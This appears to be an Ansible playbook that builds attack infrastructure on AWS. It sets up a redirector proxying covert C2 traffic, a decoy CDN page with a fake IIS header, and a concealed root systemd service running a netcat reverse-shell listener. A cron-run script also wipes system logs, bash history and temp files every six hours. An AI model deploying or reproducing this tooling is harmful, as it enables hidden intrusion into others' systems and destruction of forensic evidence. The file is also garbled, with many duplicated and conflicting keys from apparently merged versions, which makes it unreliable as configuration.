name: "{{ instance_name }}"
region: "{{ region }}"
access_key: "{{ aws_access_key }}"
secret_key: "{{ aws_secret_key }}"
name: "{{ redirector_name }}"
region: "{{ aws_region }}"
state: present
register: key_pair
register: redirector_key_pair
- name: Save private key locally
copy:
content: "{{ key_pair.key.private_key }}"
dest: "~/.ssh/{{ instance_name }}.pem"
content: "{{ redirector_key_pair.key.private_key }}"
dest: "~/.ssh/{{ redirector_name }}.pem"
mode: "0600"
when: key_pair.changed
when: redirector_key_pair.changed and redirector_key_pair.key.private_key is defined
- name: Create security group for redirector
- name: Create a security group for the redirector
amazon.aws.ec2_group:
name: "{{ instance_name }}-sg"
description: "Security group for redirector"
region: "{{ region }}"
access_key: "{{ aws_access_key }}"
secret_key: "{{ aws_secret_key }}"
name: "{{ redirector_name }}-sg"
description: "Security group for redirector {{ redirector_name }}"
region: "{{ aws_region }}"
rules:
- proto: tcp
ports:
ports:
- 22
- 80
- 443
- 4444 # Shell handler port
- "{{ shell_handler_port }}"
cidr_ip: 0.0.0.0/0
rules_egress:
- proto: -1
cidr_ip: 0.0.0.0/0
register: redirector_sg
register: redirector_sg_result
- name: Launch redirector EC2 instance
amazon.aws.ec2_instance:
name: "{{ instance_name }}"
region: "{{ region }}"
image_id: "{{ ami_map[region] }}"
access_key: "{{ aws_access_key }}"
secret_key: "{{ aws_secret_key }}"
region: "{{ aws_region }}"
name: "{{ redirector_name }}"
image_id: "{{ ami_map[aws_region] }}"
instance_type: "{{ instance_type }}"
key_name: "{{ instance_name }}"
security_group: "{{ redirector_sg.group_id }}"
network:
assign_public_ip: true
tags:
Name: "{{ instance_name }}"
Role: "redirector"
key_name: "{{ redirector_name }}"
security_groups:
- "{{ redirector_name }}-sg"
wait: yes
tags:
Name: "{{ redirector_name }}"
Role: "redirector"
register: redirector_instance
- name: Save redirector IP
- name: Set redirector_ip for later use
set_fact:
redirector_ip: "{{ redirector_instance.instances[0].public_ip_address }}"
redirector_instance_id: "{{ redirector_instance.instances[0].instance_id }}"
- name: Wait for SSH to become available
- name: Wait for redirector SSH to be available
wait_for:
host: "{{ redirector_ip }}"
port: 22
delay: 10
delay: 30
timeout: 300
state: started
- name: Add redirector to inventory
add_host:
name: redirector
name: "redirector"
groups: "redirectors"
ansible_host: "{{ redirector_ip }}"
ansible_user: "{{ ssh_user | default('kali') }}"
ansible_ssh_private_key_file: "~/.ssh/{{ instance_name }}.pem"
groups: redirectors
ansible_user: "{{ ssh_user }}"
ansible_ssh_private_key_file: "~/.ssh/{{ redirector_name }}.pem"
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
- name: Configure redirector
- name: Configure redirector server
hosts: redirectors
become: true
gather_facts: true
vars_files:
- vars.yaml
vars:
domain: "{{ domain | default('example.com') }}"
redirector_subdomain: "cdn"
letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
zero_logs: "{{ zero_logs | default(true) }}"
shell_handler_port: 4444
c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}"
c2_ip: "{{ c2_ip | default('127.0.0.1') }}"
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
tasks:
- name: Update apt cache
- name: Wait for apt to be available
apt:
update_cache: yes
register: apt_result
until: apt_result is success
retries: 5
delay: 10
- name: Include common redirector configuration tasks
include_tasks: "../tasks/configure_redirector.yml"
- name: Include common security hardening tasks
include_tasks: "../tasks/security_hardening.yml"
- name: Install required packages
apt:
name:
- nginx
- certbot
- python3-certbot-nginx
- socat
- netcat-openbsd
- cryptsetup
- secure-delete
state: present
- name: Create directories for OPSEC scripts
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /opt/c2
- /opt/shell-handler
- name: Create clean-logs.sh script
copy:
content: |
#!/bin/bash
# Zero-logs maintenance script
umask 077
# Disable syslog temporarily
systemctl stop rsyslog 2>/dev/null
systemctl stop systemd-journald 2>/dev/null
# Clear system logs
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
journalctl --vacuum-time=1s 2>/dev/null
# Clear bash history
for histfile in /root/.bash_history /home/*/.bash_history; do
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
done
history -c
# Clear NGINX logs
for nginx_log in /var/log/nginx/*; do
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
done
# Clear temporary directories
rm -rf /tmp/* /var/tmp/* 2>/dev/null
# Restart logging services
systemctl start systemd-journald 2>/dev/null
systemctl start rsyslog 2>/dev/null
echo "[+] Log cleaning complete"
exit 0
dest: /opt/c2/clean-logs.sh
mode: '0700'
owner: root
group: root
- name: Create shell handler script
copy:
content: |
#!/bin/bash
# Automated shell handler for catching and upgrading reverse shells
# Configuration
LISTEN_PORT={{ shell_handler_port }}
C2_HOST="{{ c2_ip }}"
# Set secure permissions
umask 077
# Logging function
log() {
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
local message="$1"
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
}
# Detect OS function
detect_os() {
local connection=$1
# Send commands to determine OS
echo "echo \$OSTYPE" > $connection
sleep 1
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
if [[ $ostype == *"win"* ]]; then
echo "windows"
elif [[ $ostype == *"darwin"* ]]; then
echo "macos"
elif [[ $ostype == *"linux"* ]]; then
echo "linux"
else
# Try Windows-specific command
echo "ver" > $connection
sleep 1
winver=$(cat $connection | grep -i "microsoft windows")
if [[ -n "$winver" ]]; then
echo "windows"
else
# Default to Linux if we can't determine
echo "linux"
fi
fi
}
# Main shell handler loop
handle_connections() {
log "Shell handler started on port $LISTEN_PORT"
# Use mkfifo for bidirectional communication
PIPE_PATH="/tmp/shell_handler_pipe"
trap 'rm -f $PIPE_PATH' EXIT
while true; do
# Clean up existing pipe
rm -f $PIPE_PATH
mkfifo $PIPE_PATH
log "Waiting for incoming connection..."
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
NC_PID=$!
# Wait for connection
wait $NC_PID
log "Connection closed, restarting listener..."
rm -f $PIPE_PATH.output
done
}
# Start the shell handler
handle_connections
dest: /opt/shell-handler/persistent-listener.sh
mode: '0700'
owner: root
group: root
- name: Create shell handler service
copy:
content: |
[Unit]
Description=Reverse Shell Handler Service
After=network.target
[Service]
Type=simple
User=root
Group=root
ExecStart=/opt/shell-handler/persistent-listener.sh
Restart=always
RestartSec=10
# Hide process information
PrivateTmp=true
ProtectSystem=full
NoNewPrivileges=true
# Make shell handler hard to find
StandardOutput=null
StandardError=null
# Environment variables
Environment="C2_HOST={{ c2_ip }}"
Environment="LISTEN_PORT={{ shell_handler_port }}"
[Install]
WantedBy=multi-user.target
dest: /etc/systemd/system/shell-handler.service
mode: '0644'
owner: root
group: root
- name: Configure NGINX for zero-logging
copy:
content: |
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 1024;
multi_accept on;
}
http {
# Basic Settings
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
server_tokens off;
# MIME
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Zero-logs configuration
access_log off;
error_log /dev/null crit;
# SSL Settings
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
# Headers to confuse fingerprinting
more_set_headers 'Server: Microsoft-IIS/8.5';
# Virtual Host Configs
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
dest: /etc/nginx/nginx.conf
mode: '0644'
owner: root
group: root
when: zero_logs|bool
- name: Configure NGINX default site for C2 redirection
copy:
content: |
server {
listen 80;
listen [::]:80;
server_name {{ redirector_subdomain }}.{{ domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_subdomain }}.{{ domain }};
# SSL Configuration (self-signed until Let's Encrypt is set up)
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Root directory
root /var/www/html;
index index.html;
# Special URI patterns for C2 traffic
location /ajax/ {
proxy_pass http://{{ c2_ip }}:8888;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# Default location
location / {
try_files $uri $uri/ =404;
}
# Disable logging for this server block
access_log off;
error_log /dev/null crit;
}
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
# Redirect all unknown traffic to a legitimate-looking site
return 301 https://www.google.com;
# Disable logs
access_log off;
error_log /dev/null crit;
}
dest: /etc/nginx/sites-available/default
mode: '0644'
owner: root
group: root
- name: Create legitimate-looking index.html
copy:
content: |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{ redirector_subdomain }} - Content Delivery Network</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
}
header {
background-color: #2c3e50;
color: white;
padding: 1em;
text-align: center;
}
.container {
width: 80%;
margin: 0 auto;
padding: 2em;
}
.card {
background-color: white;
border-radius: 5px;
padding: 1.5em;
margin-bottom: 1.5em;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
</style>
</head>
<body>
<header>
<h1>{{ redirector_subdomain }}.{{ domain }}</h1>
<p>Enterprise Content Delivery Network</p>
</header>
<div class="container">
<div class="card">
<h2>Welcome to Our CDN</h2>
<p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.</p>
<p><em>This is a private service. Unauthorized access is prohibited.</em></p>
</div>
</div>
</body>
</html>
dest: /var/www/html/index.html
mode: '0644'
owner: www-data
group: www-data
- name: Start and enable shell handler service
systemd:
name: shell-handler
state: started
enabled: yes
daemon_reload: yes
- name: Set up cron job for log cleaning
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
when: zero_logs|bool
- name: Install Let's Encrypt certificate if domain specified
shell: |
certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
args:
creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
when: domain != "example.com"
- name: Restart NGINX
systemd:
name: nginx
state: restarted
- name: Print deployment summary
debug:
msg:
- "Redirector Deployment Complete!"
- "-------------------------------"
- "Redirector IP: {{ ansible_host }}"
- "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)"
- "Shell Handler Port: {{ shell_handler_port }}"
- "SSH Key: ~/.ssh/{{ redirector_name }}.pem"
when: not disable_summary | default(false)